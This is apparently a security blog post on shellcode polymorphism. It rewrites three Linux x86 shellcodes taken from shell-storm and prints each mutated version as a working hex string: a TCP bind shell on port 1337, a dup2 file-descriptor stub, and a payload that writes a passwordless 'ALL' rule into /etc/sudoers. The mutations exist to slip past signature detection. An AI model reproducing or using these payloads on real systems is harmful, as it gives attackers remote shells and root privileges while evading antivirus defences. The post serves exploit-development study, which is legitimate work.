Shellcode Polymorphism
Table of content:
1. What is shellcode polymorphism?
2. Creating Polymorphic Shellcode:
2.1. Shell Bind TCP Shellcode Port 1337
2.2. dup2(0,0); dup2(0,1); dup2(0,2);
Get Inspiration </>’s stories in your inbox
Join Medium for free to get updates from this writer.
2.3. Edit /etc/sudoers for full access
What is shellcode polymorphism?
Mutating the code while keeping the original algorithm intact, but the function of the code (its semantics) will not change at all. For example, 1+3 and 6–2 both achieve the same result while using different values and operations. This technique is sometimes used by computer viruses, shellcodes, and computer worms to hide their presence.
Creating Polymorphic Shellcode
In this blog post, I will transform three Linux Intel x86 shellcodes via polymorphic patterns.
Shell Bind TCP Shellcode Port 1337
- Original length: 89 bytes
- Polymorphic length: 126 bytes (42.7% larger)
- Source: http://shell-storm.org/shellcode/files/shellcode-882.php.
Original code (Right), My changes (Left):
Shellcode in hex:
\x6a\x01\x50\x6a\x33\x58\x83\xc4\x04\x5b\x31\xf6\x56\x53\x6a\x02\x89\xe1\x83\xc0\x33\xcd\x80\x5f\x97\x93\xb0\x66\x56\x66\x68\xfa\xc6\x66\xf7\x14\x24\x66\x53\x89\xe1\x6a\x0e\x01\x1c\x24\x51\x57\x89\xe1\xcd\x80\xb0\x66\x80\xc3\x02\x83\xc4\x04\x89\x14\x24\x83\xec\x04\x89\xe1\xcd\x80\xb0\x66\x43\x83\xc4\x08\x89\x14\x24\x83\xec\x08\x89\xe1\xcd\x80\x31\xc9\xf7\xe1\xb1\x02\xb0\x3f\xcd\x80\xe2\xfa\xb0\x0b\x68\x2f\x2f\x73\x68\xf7\x14\x24\x68\x1e\x51\x58\x5d\x81\x04\x24\x11\x11\x11\x11\x89\xe3\x89\xd1\xcd\x80- You can find the .nasm file → HERE
dup2(0,0); dup2(0,1); dup2(0,2);
- Original length: 15 bytes
- Polymorphic length: 14 bytes (6.67% smaller)
- Source: http://shell-storm.org/shellcode/files/shellcode-259.php.
Original code (Right), My changes (Left):
Shellcode in hex:
"\x31\xc9\xf7\xe1\xb1\x03\x89\xf3\xb0\x3f\xcd\x80\xe2\xfa"- You can find the .nasm file → HERE
Edit /etc/sudoers for full access
- Original length: 86 bytes
- Polymorphic length: 124 bytes (44.19% larger)
- Source: http://shell-storm.org/shellcode/files/shellcode-62.php
Original code (Right), My changes (Left):
Shellcode in hex:
"\x31\xc9\xf7\xe1\x50\x68\x6f\x65\x72\x73\x68\x0d\x51\x53\x42\x81\x04\x24\x22\x22\x22\x22\x68\x7a\x30\x21\x36\x81\x34\x24\x55\x55\x55\x55\x89\xe3\x66\xb9\x01\x04\xb0\x05\xcd\x80\x89\xc3\x52\x83\xec\x1c\xc7\x04\x24\x41\x4c\x4c\x20\xc7\x44\x24\x04\x41\x4c\x4c\x3d\xc7\x44\x24\x08\x28\x41\x4c\x4c\xc7\x44\x24\x0c\x29\x20\x4e\x4f\xc7\x44\x24\x10\x50\x41\x53\x53\xc7\x44\x24\x14\x57\x44\x3a\x20\xc7\x44\x24\x18\x41\x4c\x4c\x0a\x89\xe1\xb2\x1c\xb0\x04\xcd\x80\x6a\x06\x58\xcd\x80\x31\xdb\xb0\x01\xcd\x80"- You can find the .nasm file → HERE
That’s it!
I hope you will find this article useful ❤.
